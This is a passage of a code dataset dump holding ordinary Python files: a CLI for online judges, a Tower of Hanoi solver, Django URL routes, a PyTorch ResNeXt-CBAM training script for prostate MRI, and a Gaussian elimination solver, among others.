'2':\n money = money + 2.00\n elif coin == 'Z':\n choose_beverage()\n break\n else:\n print(\"\\nInvalid coin.\")\n print(\"\\n\" + str(money))\n loop = loop + 1\n if money - 1.25 < 0:\n print(\"\\nNot enough money inserted.\")\n break\n\nprint(\"\\nThank you. Your change is $\" + str(money - 1.25) + \".\\n\")\n \n","sub_path":"vending_machine (beverages).py","file_name":"vending_machine (beverages).py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"102960273","text":"# this file manages the basic cli of termicoder and calls the correct function\nimport click\nfrom termicoder.utils import parse\nimport termicoder.utils.test as test_module\nimport termicoder.utils.code as code_module\nimport termicoder.utils.viewthis as viewthis_module\n\n# Only need to change this on adding new judges if structure is followed\n# take care of ',' (comma) while editing this list!\n# for default structure visit https://termicoder.github.io\nOJs = sorted([\n 'iarcs',\n 'codechef'\n])\n###############################################################################\n\n# importing OJ's Modules\nfor OJ in OJs:\n exec(\"import termicoder.judges.%s.main as %s\" % (OJ, OJ))\n\n\n@click.group()\ndef main():\n '''\n view, code & submit problems directly from terminal.\n '''\n pass\n\n\n# view command has various subcommands\n@click.group()\ndef view():\n '''\n view contests, problems and problem statement\n '''\n pass\n\n\n@click.command(short_help=\"display contest list of a judge\")\n@click.option('-j', '--judge', type=click.Choice(OJs),\n prompt=\"Please provide a judge(\"+'|'.join(OJs)+\")\")\ndef contests(judge):\n '''\n lists current and upcoming contests on a judge.\n\n depending on judge it may give a list of categories also\n such as PRACTICE etc.\n '''\n eval(judge).view_contests()\n\n\n@click.command(short_help=\"list problems of a contest/category\")\n@click.option('-j', '--judge', type=click.Choice(OJs),\n prompt=\"Please provide a judge(\"+'|'.join(OJs)+\")\")\n@click.option('-c', '--contest', type=click.STRING, help=\"contest code\")\ndef problems(judge, contest):\n '''\n lists problems of a contest/category on the judge\n '''\n eval(judge).view_problems(contest)\n\n\n@click.command(short_help=\"view contents of current folder\")\n@click.option(\"-f\", \"--folder\", type=click.Path())\n@click.option(\"-ed\", \"--edit_defaults\", is_flag=True, default=False,\n help=\"edit default web browser\")\ndef this(folder, edit_defaults):\n '''\n display the termicoder contents in current/passed folder\n\n \\b\n if it is a contest folder it displays the list of problems.\n if its a problem folder, displays the problem in a browser.\n '''\n viewthis_module.view(folder, edit_defaults)\n\n\nview.add_command(contests)\nview.add_command(problems)\nview.add_command(this)\n###############################################################################\n\n\n@click.command()\n@click.option('-j', '--judge', type=click.Choice(OJs),\n prompt=\"Please provide a judge(\"+'|'.join(OJs)+\")\")\n@click.option('-c', '--contest', type=click.STRING, help=\"contest code\")\n@click.option('-p', '--problem', type=click.STRING, help=\"problem code\")\n@click.option('--login', 'status', flag_value='login')\n@click.option('--logout', 'status', flag_value='logout')\ndef setup(judge, contest, problem, status):\n \"\"\"\n sets up problem, contests and login.\n\n 1. if you pass judge and --login/--logout,\n it logs you in and out of the judge\n\n 2. if you pass judge and contest/category\n it downloads all the problems of that contest.\n\n 3. if you pass a particular problem, with judge and contest/category,\n it sets up that problem.\n\n all this happens in the current folder.\n option of contest/category may vary amongst various online judges\n \"\"\"\n eval(judge).setup(contest, problem, status)\n\n\n@click.command()\n@click.option('-f', '--file', 'code_file',\n type=click.Path(writable=True, readable=False, dir_okay=False),\n help=\"the filename to code into with preloaded template\")\n@click.option('-et', \"--edit_templates\", is_flag=True, default=False,\n help=\"open templates folder\")\n@click.option('-ed', \"--edit_defaults\", is_flag=True, default=False,\n help=\"edit defaults for editors\")\ndef code(code_file, edit_templates, edit_defaults):\n '''\n creates & open code file with template code.\n\n you can edit template code and default editors\n using flags -et and -ed respectively\n '''\n if(edit_templates):\n code_module.edit_templates()\n\n elif(edit_defaults):\n code_module.edit_defaults()\n\n elif(code_file is None):\n code_file = code_module.get_file_name()\n\n if(code_file is not None):\n code_module.code(code_file)\n\n\n@click.command()\n@click.option('-f', '--file', 'code_file', type=click.File(),\n help=\"the code file\")\n@click.option('-tl', '--timelimit', type=float,\n help=\"the max time per testcase\")\n@click.option('-l', '--live', is_flag=True, default=False,\n help=\"test the code live and don't use testcases\")\n@click.option('-es', \"--edit_scripts\", is_flag=True, default=False)\ndef test(code_file, edit_scripts, timelimit, live):\n '''\n test code against the sample testcases.\n\n \\b\n this command (compiles and) runs passed code file.\n the code is run against all [.in] files in ./testcases folder.\n the output is produced in [.outx] files and checked against [.out] files\n\n it displays time for each testcase,status\n and diff of expected and produced outputs.\n '''\n if(edit_scripts):\n test_module.edit_scripts()\n\n if(not code_file):\n code_file = parse.get_code_file()\n code_file = parse.get_file_name(code_file)\n test_module.test(code_file, timelimit, live)\n\n\n@click.command()\n@click.option('-f', '--file', 'code_file', type=click.File(),\n help=\"the code file\")\ndef submit(code_file):\n '''\n submit a solution.\n\n you should be in a problem directory to submit\n\n \\b\n script will prompt you to login into the judge(if not already).\n this submits the problem using data in [.problem] file in current directory\n '''\n judge = parse.get_judge()\n if(not code_file):\n code_file = parse.get_code_file()\n code_file = parse.get_file_name(code_file)\n eval(judge).submit(code_file)\n\n\n@click.command()\ndef debug():\n '''\n launches custom debug interface (in future)\n where you can use testcase generator,\n launch debugger for the particular language\n and visualize the output\n '''\n click.echo(\n 'This functionality is not implemented in this version\\n' +\n 'The command is only kept for compactiblity with future versions\\n' +\n 'If you want to contribute to its developement visit:\\n' +\n 'https://termicoder.github.io/')\n\n\nmain.add_command(view)\nmain.add_command(setup)\nmain.add_command(code)\nmain.add_command(test)\nmain.add_command(submit)\nmain.add_command(debug)\n","sub_path":"termicoder/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":6514,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"32203352","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nХанойская башня\nТри стержня и стопка дисков, каждый из которых немного меньше предыдущего.\nТребуется переставить все диски с одного стержня на другой, соблюдая два строгих условия.\nВо-первых, за раз можно было перемещать только один диск. Во-вторых, нельзя класть бОльший диск поверх меньшего.\n\"\"\"\n\nclass Hanoi:\n\n def hanoi(self, plates, _from, to):\n while plates > 0:\n using = 6 - (_from + to)\n plates -= 1\n self.hanoi(plates, _from, using)\n print('Move plate ' + str(_from) + '->' + str(to))\n _from = using\n\n\nif __name__ == \"__main__\":\n recObject = Hanoi()\n print(recObject.hanoi(5, 1, 3))\n","sub_path":"algorithms/recursion/hanoi.py","file_name":"hanoi.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"307026632","text":"from core.Box import *\n\nclass MoveBox(Box):\n\tdef config(self, params = None):\n\t\tself.canBeAccessedBy = []\n\t\tself.canBePushedBy = [Agent]\n\t\tself.canMove = ALL\n\t\tself.canFallOffEdge = False\n\t\tself.char = '+'\n\t\tself.color = 'yellow'\n\ndef Char(field, x, y, char):\n\n\t# Empty\n\tif char == ' ':\n\t\treturn Empty(field, x, y, False)\n\tif char == '.':\n\t\treturn Empty(field, x, y, True)\n\n\t# Agent\n\tif char == 'O':\n\t\treturn Agent(field, x, y)\n\n\t# Goal\n\tif char == '*':\n\t\treturn Goal(field, x, y)\n\n\t# Blocker\n\tif char == 'X':\n\t\treturn Blocker(field, x, y)\n\n\t# MoveBox\n\tif char == '+':\n\t\treturn MoveBox(field, x, y, ALL)\n\n","sub_path":"project/Sokoban/Box.py","file_name":"Box.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"458119610","text":"\"\"\"informer_batyr URL Configuration\n\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include, re_path\n\nfrom mk_rc import views, polls\n\nurlpatterns = [\n path('vsd/', views.vsd, name='vsd_url'),\n path('vsd_filtr/', views.vsd_filtr, name='vsd_filtr_url'),\n path('bd_vsd/', views.bd_vsd, name='bd_vsd_url'),\n path('form_bd_vsd', views.form_bd_vsd, name='form_bd_vsd_url'),\n path('edit_bd_vsd/', views.edit_bd_vsd, name='edit_bd_vsd_url'),\n path('delete_bd_vsd/', views.delete_bd_vsd, name='delete_bd_vsd_url'),\n\n path('uplink/', polls.upload, name='uplink'),\n path('exchange/(.*)', polls.exchange, name=\"exchange\"),\n path('import_1c/', polls.import_sheet, name=\"import_url\"),\n\n path('api_vsd_merc/', views.ApiVsdMerc.as_view(), name='api_vsd_merc_url'),\n path('api_vsd_merc/', views.ApiVsdMerc.as_view(), name='api_vsd_merc_detail_url'),\n]\n","sub_path":"mk_rc/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"598489906","text":"from __future__ import print_function, division, absolute_import\n\nimport unittest\n\nimport numpy as np\n\nfrom openmdao.api import Problem, Group, IndepVarComp\nfrom openmdao.utils.assert_utils import assert_check_partials\n\nfrom CADRE.comm_dymos.comm_group import CommGroup\n\nGM = 398600.44\nrmag = 7000.0\nperiod = 2 * np.pi * np.sqrt(rmag ** 3 / GM)\nvcirc = np.sqrt(GM / rmag)\nduration = period / 1\ndelta_trua = 2 * np.pi * (duration / period)\n\nclass TestCommGroup(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n nn = 10\n\n p = cls.p = Problem(model=Group())\n\n ivc = p.model.add_subsystem('ivc', IndepVarComp(), promotes_outputs=['*'])\n\n ivc.add_output('time', val=np.ones(nn), units='s')\n ivc.add_output('r_e2b_I', val=np.zeros((nn, 3)), units='km')\n ivc.add_output('antAngle', val=np.zeros((nn,)), units='deg')\n ivc.add_output('P_comm', val=np.zeros((nn,)), units='W')\n ivc.add_output('O_BI', val=np.zeros((nn, 3, 3)))\n\n p.model.add_subsystem('comm_group',\n CommGroup(num_nodes=nn, lat_gs=0.01, lon_gs=0.0, alt_gs=0.0))\n\n p.model.connect('time', 'comm_group.t')\n p.model.connect('r_e2b_I', 'comm_group.r_e2b_I')\n p.model.connect('antAngle', 'comm_group.antAngle')\n p.model.connect('P_comm', 'comm_group.P_comm')\n p.model.connect('O_BI', 'comm_group.O_BI')\n\n p.setup(check=True, force_alloc_complex=True)\n\n p['time'] = np.linspace(0, 5400, nn)\n trua = delta_trua * p['time']\n\n p['r_e2b_I'][:, 0] = 6578.137 * np.cos(trua)\n p['r_e2b_I'][:, 1] = 6578.137 * np.sin(trua)\n p['r_e2b_I'][:, 2] = 0.0\n\n p['antAngle'] = 0.0\n p['P_comm'] = 10.0\n\n # For testing purposes just fix the body to the ECI frame\n p['O_BI'][:, 0, 0] = 1.0\n p['O_BI'][:, 1, 1] = 1.0\n p['O_BI'][:, 2, 2] = 1.0\n\n p.run_model()\n\n def test_partials(self):\n np.set_printoptions(linewidth=100000, edgeitems=10000)\n cpd = self.p.check_partials(method='fd', step=1.0E-6, step_calc='abs')\n assert_check_partials(cpd, atol=2.0E-5, rtol=1.0E-5)\n\n","sub_path":"CADRE/comm_dymos/test/test_comm_group.py","file_name":"test_comm_group.py","file_ext":"py","file_size_in_byte":2153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"617009065","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nclass Differentiation:\n def __init__(self, t, alpha):\n self.t = t\n self.alpha = alpha\n\n def derivative(self, y):\n t = self.t\n alpha = self.alpha\n h = t[2] - t[1]\n dy = [0]*len(y)\n dy[1] = 0\n y = y[:]\n t = t[:]\n w = [0]*len(y)\n w[1] = 1\n for i in range(2,len(t)):\n w[i] = w[i-1]*(1-(alpha+1)/float(i-1))\n for i in range(2,len(t)):\n for j in range(1,i):\n for k in xrange(i,0,-1):\n dy[i] += w[j]*y[k]/(h**alpha)\n return dy\n\n def plot_func(self, y1, y2):\n t = self.t\n for k in range(8):\n self.alpha += .1\n dy1 = self.derivative(y1)\n dy2 = self.derivative(y2)\n plt.hold(True)\n plt.subplot(211).set_title(\"y=x^2\")\n plt.plot(t,dy1)\n plt.axis([0,10,0,20])\n plt.subplot(212).set_title(\"y=x^4\")\n plt.plot(t,dy2)\n plt.axis([0,10,0,20])\n plt.show()\n","sub_path":"Fractional_Order_Systems/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"433598287","text":"import math\nimport shutil\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nfrom tensorboardX import SummaryWriter\nfrom sklearn.metrics import roc_auc_score\n\nfrom SSHProject.BasicTool.MeDIT.Augment import *\nfrom SSHProject.BasicTool.MeDIT.Others import MakeFolder, CopyFile\n\nfrom SSHProject.CnnTools.T4T.Block.ConvBlock import ConvBn2D\nfrom SSHProject.CnnTools.T4T.Utility.Data import *\nfrom SSHProject.CnnTools.T4T.Utility.CallBacks import EarlyStopping\nfrom SSHProject.CnnTools.T4T.Utility.Initial import HeWeightInit\n\n\ndef conv3x3(in_planes, out_planes, stride=1, groups=1, dilation=1):\n return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,\n padding=dilation, groups=groups, bias=False, dilation=dilation)\n\n\ndef conv1x1(in_planes, out_planes, stride=1):\n return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)\n\n\nclass ChannelAttention(nn.Module):\n def __init__(self, in_planes, ratio=8):\n super(ChannelAttention, self).__init__()\n self.avg_pool = nn.AdaptiveAvgPool2d(1)\n self.max_pool = nn.AdaptiveMaxPool2d(1)\n\n self.fc1 = nn.Conv2d(in_planes, in_planes // ratio, 1, bias=False)\n self.relu1 = nn.ReLU()\n self.fc2 = nn.Conv2d(in_planes // ratio, in_planes, 1, bias=False)\n\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, x):\n avg_out = self.fc2(self.relu1(self.fc1(self.avg_pool(x))))\n max_out = self.fc2(self.relu1(self.fc1(self.max_pool(x))))\n out = avg_out + max_out\n\n return self.sigmoid(out)\n\n\nclass SpatialAttention(nn.Module):\n def __init__(self, kernel_size=7):\n super(SpatialAttention, self).__init__()\n\n assert kernel_size in (3, 7), 'kernel size must be 3 or 7'\n padding = 3 if kernel_size == 7 else 1\n\n self.conv1 = nn.Conv2d(2, 1, kernel_size, padding=padding, bias=False)\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, x):\n avg_out = torch.mean(x, dim=1, keepdim=True)\n max_out, _ = torch.max(x, dim=1, keepdim=True)\n x = torch.cat([avg_out, max_out], dim=1)\n x = self.conv1(x)\n\n return self.sigmoid(x)\n\n\nclass Bottleneck(nn.Module):\n\n def __init__(self, inplanes, planes, baseWidth=4, cardinality=32,\n stride=1, downsample=None, downstride=2):\n \"\"\" Constructor\n Args:\n inplanes: input channel dimensionality\n planes: output channel dimensionality\n baseWidth: base width.\n cardinality: num of convolution groups.\n stride: conv stride. Replaces pooling layer.\n \"\"\"\n super(Bottleneck, self).__init__()\n\n conv_planes = planes // 2\n\n D = int(math.floor(conv_planes * (baseWidth / 16)))\n C = cardinality\n\n self.conv1 = nn.Conv2d(inplanes, D * C, kernel_size=1, stride=1, padding=0, bias=False)\n self.bn1 = nn.BatchNorm2d(D * C)\n self.conv2 = nn.Conv2d(D * C, D * C, kernel_size=3, stride=stride, padding=1, groups=C, bias=False)\n self.bn2 = nn.BatchNorm2d(D * C)\n self.conv3 = nn.Conv2d(D * C, planes, kernel_size=1, stride=1, padding=0, bias=False)\n self.bn3 = nn.BatchNorm2d(planes)\n self.relu = nn.ReLU(inplace=True)\n\n self.ca = ChannelAttention(planes)\n self.sa = SpatialAttention()\n\n if downsample is True:\n self.downsample = nn.Sequential(\n conv1x1(inplanes, conv_planes * 2, downstride),\n nn.BatchNorm2d(conv_planes * 2),\n )\n else:\n self.downsample = None\n\n def forward(self, x):\n\n residual = x\n\n out = self.conv1(x)\n out = self.bn1(out)\n out = self.relu(out)\n\n out = self.conv2(out)\n out = self.bn2(out)\n out = self.relu(out)\n\n out = self.conv3(out)\n out = self.bn3(out)\n\n out = self.ca(out) * out\n out = self.sa(out) * out\n\n if self.downsample is not None:\n residual = self.downsample(x)\n\n out += residual\n out = self.relu(out)\n\n return out\n\n\nclass Layer1(nn.Module):\n def __init__(self, inplanes, outplanes, cardinality=32):\n super(Layer1, self).__init__()\n self.layer1_0 = Bottleneck(inplanes=inplanes, planes=outplanes, cardinality=cardinality,\n downsample=True, downstride=1)\n self.layer1_1 = Bottleneck(inplanes=outplanes, planes=outplanes, cardinality=cardinality)\n self.layer1_2 = Bottleneck(inplanes=outplanes, planes=outplanes, cardinality=cardinality)\n\n def forward(self, x):\n x = self.layer1_0(x)\n x = self.layer1_1(x)\n x = self.layer1_2(x)\n return x\n\n\nclass Layer2(nn.Module):\n def __init__(self, inplanes, outplanes, cardinality=32):\n self.inplanes = inplanes\n\n super(Layer2, self).__init__()\n self.layer2_0 = Bottleneck(inplanes=inplanes, planes=outplanes, cardinality=cardinality,\n stride=2, downsample=True)\n self.layer2_1 = Bottleneck(inplanes=outplanes, planes=outplanes, cardinality=cardinality)\n self.layer2_2 = Bottleneck(inplanes=outplanes, planes=outplanes, cardinality=cardinality)\n self.layer2_3 = Bottleneck(inplanes=outplanes, planes=outplanes, cardinality=cardinality)\n\n def forward(self, x):\n x = self.layer2_0(x)\n x = self.layer2_1(x)\n x = self.layer2_2(x)\n x = self.layer2_3(x)\n\n return x\n\n\nclass Layer3(nn.Module):\n def __init__(self, inplanes, outplanes, cardinality=32):\n super(Layer3, self).__init__()\n self.layer3_0 = Bottleneck(inplanes=inplanes, planes=outplanes, cardinality=cardinality,\n stride=2, downsample=True)\n self.layer3_1 = Bottleneck(inplanes=outplanes, planes=outplanes, cardinality=cardinality)\n self.layer3_2 = Bottleneck(inplanes=outplanes, planes=outplanes, cardinality=cardinality)\n self.layer3_3 = Bottleneck(inplanes=outplanes, planes=outplanes, cardinality=cardinality)\n\n def forward(self, x):\n x = self.layer3_0(x)\n x = self.layer3_1(x)\n x = self.layer3_2(x)\n x = self.layer3_3(x)\n return x\n\n\nclass Layer4(nn.Module):\n def __init__(self, inplanes, outplanes, cardinality=32):\n super(Layer4, self).__init__()\n self.layer4_0 = Bottleneck(inplanes=inplanes, planes=outplanes, cardinality=cardinality,\n stride=2, downsample=True)\n self.layer4_1 = Bottleneck(inplanes=outplanes, planes=outplanes, cardinality=cardinality)\n self.layer4_2 = Bottleneck(inplanes=outplanes, planes=outplanes, cardinality=cardinality)\n\n def forward(self, x):\n x = self.layer4_0(x)\n x = self.layer4_1(x)\n x = self.layer4_2(x)\n\n return x\n\n\nclass ResnextCBAM(nn.Module):\n def __init__(self, in_channels, num_classes, inplanes=32):\n \"\"\" Constructor\n Args:\n baseWidth: baseWidth for ResNeXt.\n cardinality: number of convolution groups.\n layers: config of layers, e.g., [3, 4, 6, 3]\n num_classes: number of classes\n \"\"\"\n super(ResnextCBAM, self).__init__()\n\n self.conv1 = ConvBn2D(in_channels, inplanes)\n self.maxpool1 = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)\n\n self.layer1 = Layer1(inplanes, inplanes * 2, cardinality=32)\n self.layer2 = Layer2(inplanes * 2, inplanes * 4, cardinality=32)\n self.layer3 = Layer3(inplanes * 4, inplanes * 6, cardinality=32)\n self.layer4 = Layer4(inplanes * 6, inplanes * 8, cardinality=32)\n self.avgpool = nn.AdaptiveAvgPool2d((1, 1))\n self.fc1 = nn.Sequential(nn.Linear(inplanes * 8, inplanes),\n nn.Dropout(0.5),\n nn.ReLU(inplace=True))\n self.fc2 = nn.Linear(inplanes, num_classes)\n\n\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n m.weight.data.normal_(0, math.sqrt(2. / n))\n elif isinstance(m, nn.BatchNorm2d):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\n def forward(self, t2, adc, dwi):\n inputs = torch.cat([t2, adc, dwi], dim=1)\n x = self.conv1(inputs)\n x = self.maxpool1(x) # shape = (92, 92)\n\n x = self.layer1(x) # shape = (92, 92)\n x = self.layer2(x) # shape = (46, 46)\n x = self.layer3(x) # shape = (23, 23)\n x = self.layer4(x) # shape = (12, 12)\n x = self.avgpool(x)\n x = torch.flatten(x, 1)\n x_fc1 = self.fc1(x)\n x = self.fc2(x_fc1)\n return torch.softmax(x, dim=1)\n\n\ndef test():\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n model = ResnextCBAM(3, num_classes=2).to(device)\n print(model)\n inputs = torch.randn(1, 1, 184, 184).to(device)\n prediction = model(inputs, inputs, inputs)\n print(prediction.shape)\n\n\nmodel_root = r'/home/zhangyihong/Documents/ProstateECE/BaseModel'\ndata_root = r'/home/zhangyihong/Documents/ProstateECE/NPYMaxPred'\n\n\n# def ClearGraphPath(graph_path):\n# if not os.path.exists(graph_path):\n# os.mkdir(graph_path)\n# else:\n# shutil.rmtree(graph_path)\n# os.mkdir(graph_path)\n\n\ndef _GetLoader(sub_list, aug_param_config, input_shape, batch_size, shuffle):\n data = DataManager(sub_list=sub_list, augment_param=aug_param_config)\n\n data.AddOne(Image2D(data_root + '/Train/T2Slice', shape=input_shape))\n data.AddOne(Image2D(data_root + '/Train/AdcSlice', shape=input_shape))\n data.AddOne(Image2D(data_root + '/Train/DwiSlice', shape=input_shape))\n data.AddOne(Label(data_root + '/ece.csv'), is_input=False)\n data.Balance(Label(data_root + '/ece.csv'))\n loader = DataLoader(data, batch_size=batch_size, shuffle=shuffle)\n batches = np.ceil(len(data.indexes) / batch_size)\n return loader, batches\n\n\ndef EnsembleTrain():\n torch.autograd.set_detect_anomaly(True)\n\n device = torch.device('cuda:2' if torch.cuda.is_available() else 'cpu')\n input_shape = (192, 192)\n total_epoch = 10000\n batch_size = 24\n model_folder = MakeFolder(model_root + '/ResnextCBAM')\n\n param_config = {\n RotateTransform.name: {'theta': ['uniform', -10, 10]},\n ShiftTransform.name: {'horizontal_shift': ['uniform', -0.05, 0.05],\n 'vertical_shift': ['uniform', -0.05, 0.05]},\n ZoomTransform.name: {'horizontal_zoom': ['uniform', 0.95, 1.05],\n 'vertical_zoom': ['uniform', 0.95, 1.05]},\n FlipTransform.name: {'horizontal_flip': ['choice', True, False]},\n BiasTransform.name: {'center': ['uniform', -1., 1., 2],\n 'drop_ratio': ['uniform', 0., 1.]},\n NoiseTransform.name: {'noise_sigma': ['uniform', 0., 0.03]},\n ContrastTransform.name: {'factor': ['uniform', 0.8, 1.2]},\n GammaTransform.name: {'gamma': ['uniform', 0.8, 1.2]},\n ElasticTransform.name: ['elastic', 1, 0.1, 256]\n }\n\n sub_train_path = data_root + '/train_name_basemodel.csv'\n sub_val_path = data_root + '/val_name_basemodel.csv'\n sub_train = pd.read_csv(sub_train_path).values.tolist()[0]\n sub_val = pd.read_csv(sub_val_path).values.tolist()[0]\n train_loader, train_batches = _GetLoader(sub_train, param_config, input_shape, batch_size, True)\n val_loader, val_batches = _GetLoader(sub_val, param_config, input_shape, batch_size, True)\n\n model = ResnextCBAM(3, 2).to(device)\n model.apply(HeWeightInit)\n\n optimizer = torch.optim.Adam(model.parameters(), lr=0.001)\n loss1 = torch.nn.NLLLoss()\n\n scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer, mode='min', patience=10, factor=0.5,\n verbose=True)\n early_stopping = EarlyStopping(store_path=os.path.join(model_folder, '{}-{:.6f}.pt'), patience=50, verbose=True)\n writer = SummaryWriter(log_dir=os.path.join(model_folder, 'log'), comment='Net')\n\n for epoch in range(total_epoch):\n train_loss, val_loss = 0., 0.\n\n model.train()\n pred_list, label_list = [], []\n for ind, (inputs, outputs) in enumerate(train_loader):\n optimizer.zero_grad()\n\n inputs = MoveTensorsToDevice(inputs, device)\n outputs = MoveTensorsToDevice(outputs, device)\n\n preds = model(*inputs)\n\n loss = loss1(preds, outputs.long())\n\n loss.backward()\n optimizer.step()\n\n train_loss += loss.item()\n\n pred_list.extend(preds[:, 1].cpu().data.numpy().tolist())\n label_list.extend(outputs.cpu().data.numpy().tolist())\n\n train_auc = roc_auc_score(label_list, pred_list)\n\n model.eval()\n pred_list, label_list = [], []\n with torch.no_grad():\n for ind, (inputs, outputs) in enumerate(val_loader):\n inputs = MoveTensorsToDevice(inputs, device)\n outputs = MoveTensorsToDevice(outputs, device)\n\n preds = model(*inputs)\n\n loss = loss1(preds, outputs.long())\n\n val_loss += loss.item()\n\n pred_list.extend(preds[:, 1].cpu().data.numpy().tolist())\n label_list.extend(outputs.cpu().data.numpy().tolist())\n\n val_auc = roc_auc_score(label_list, pred_list)\n\n # Save Tensor Board\n for index, (name, param) in enumerate(model.named_parameters()):\n if 'bn' not in name:\n writer.add_histogram(name + '_data', param.cpu().data.numpy(), epoch + 1)\n\n writer.add_scalars('Loss',\n {'train_loss': train_loss / train_batches,\n 'val_loss': val_loss / val_batches}, epoch + 1)\n writer.add_scalars('Auc',\n {'train_auc': train_auc,\n 'val_auc': val_auc}, epoch + 1)\n\n print('Epoch {}: loss: {:.3f}, val-loss: {:.3f}, auc: {:.3f}, val-auc: {:.3f}'.format(\n epoch + 1, train_loss / train_batches, val_loss / val_batches,\n train_auc, val_auc\n ))\n\n scheduler.step(val_loss)\n early_stopping(val_loss, model, (epoch + 1, val_loss))\n\n if early_stopping.early_stop:\n print(\"Early stopping\")\n break\n\n writer.flush()\n writer.close()\n\n\nif __name__ == '__main__':\n # test()\n EnsembleTrain()","sub_path":"ControlGroup/BaseModel/ResnextCBAM.py","file_name":"ResnextCBAM.py","file_ext":"py","file_size_in_byte":14547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"361257551","text":"#!/usr/bin/env python3\n\n\ndef my_for(iterable, func):\n iterator = iter(iterable)\n while True:\n try:\n i = next(iterator)\n except StopIteration:\n print('End of Iterator')\n break\n else:\n func(i)\n\n\ndef square(x):\n print(x ** 2)\n\n\na: list = [1, 2, 3, 4, 5]\nb: str = 'Hello, World!'\n\nmy_for(a, print)\nmy_for(b, print)\nmy_for(a, square)\n","sub_path":"lessons/12_iterators_generators/0-1_for.py","file_name":"0-1_for.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"530383915","text":"import sys\r\ndef get_matrix():\r\n\tmatrix = []\r\n\trownum,columnnum = map(int,input().split())\r\n\tfor row in range(rownum):\r\n\t\tcurrent_list = []\r\n\t\tcurrent_row = input().split()\r\n\t\tfor column in current_row:\r\n\t\t\tcurrent_list.append(float(column))\r\n\t\tmatrix.append(current_list)\r\n\treturn matrix\r\n\t\t\r\n#Only for n by n-1 equation\r\n'''def get_matrix():\r\n\tmatrix = []\r\n\tmatrix.append([])\r\n\tcurrent_row = input().split()\r\n\tlength = len(current_row) - 1\r\n\tfor element in current_row:\r\n\t\tmatrix[0].append(int(element))\r\n\tfor row in range(length - 1):\r\n\t\tlist1 = []\r\n\t\tcurrent_row = input().split()\r\n\t\tfor element in current_row:\r\n\t\t\tlist1.append(int(element))\r\n\t\tmatrix.append(list1)\r\n\treturn matrix''' \r\n\r\ndef print_matrix(matrix):\r\n\tfor row in range(len(matrix)):\r\n\t\tfor column in range(len(matrix[row])):\r\n\t\t\tprint(matrix[row][column],end = ' ')\r\n\t\tprint()\r\n\r\n#Gauss algorithm first step:elimination\r\ndef Gauss1_elimination(matrix):\r\n\tfor row in range(len(matrix) - 1):\r\n\t\twhile matrix[row][row] == 0:\r\n\t\t\tmatrix[row],matrix[row+1] = matrix[row+1],matrix[row]\r\n\t\tfor i in range(row +1,len(matrix)):\r\n\t\t\tdivde = matrix[i][row] / matrix[row][row]\r\n\t\t\tfor column in range(row,len(matrix[row+1])):\r\n\t\t\t\tmatrix[i][column] -= matrix[row][column] * divde\r\n\treturn matrix\r\n\t\r\n#Gauss algorithm second step:substitution\r\ndef Gauss2_substitution(matrix):\r\n\tfor row in range(len(matrix)-1,0,-1):\r\n\t\tif matrix[row][len(matrix[row]) - 1] == 0:\r\n\t\t\tfor column in matrix[row]:\r\n\t\t\t\tif column != 0:\r\n\t\t\t\t\tprint('-----------result-------------')\r\n\t\t\t\t\tprint('No root')\r\n\t\t\t\t\tsys.exit(0)\r\n\r\n\t\tfine = False\r\n\t\tif matrix[row][len(matrix[row]) - 1] != 0:\r\n\t\t\tfor j in range(len(matrix[row]) -1):\r\n\t\t\t\tif matrix[row][j] != 0:\r\n\t\t\t\t\tfine = True\r\n\t\t\tif not fine:\r\n\t\t\t\tprint('-----------result-------------')\r\n\t\t\t\tprint('No root')\r\n\t\t\t\tsys.exit(0)\r\n\t\t\t\tbreak\r\n\t\tif matrix[row][row] == 0:\r\n\t\t\tcontinue\r\n\t\telse:\r\n\t\t\tfor i in range(row-1,-1,-1):\r\n\t\t\t\tdivde = matrix[i][row] / matrix[row][row]\r\n\t\t\t\tfor column in range(len(matrix[i])-1,row-1,-1):\r\n\t\t\t\t\tmatrix[i][column] -= divde * matrix[row][column]\r\n\t\t\tfor column in range(len(matrix[row]) - 1,row - 1, -1):\r\n\t\t\t\tmatrix[row][column] /= matrix[row][row]\r\n\tfor column in range(len(matrix[0]) - 1,-1,-1):\r\n\t\tmatrix[0][column] /= matrix[0][0]\r\n\treturn matrix\r\n\r\ndef main():\r\n\t matrix1 = get_matrix()\r\n\t matrix2 = Gauss1_elimination(matrix1)\r\n\t matrix3 = Gauss2_substitution(matrix2)\r\n\t print('-----------result-------------')\r\n\t print_matrix(matrix3)\r\n\r\n\r\nif __name__ == 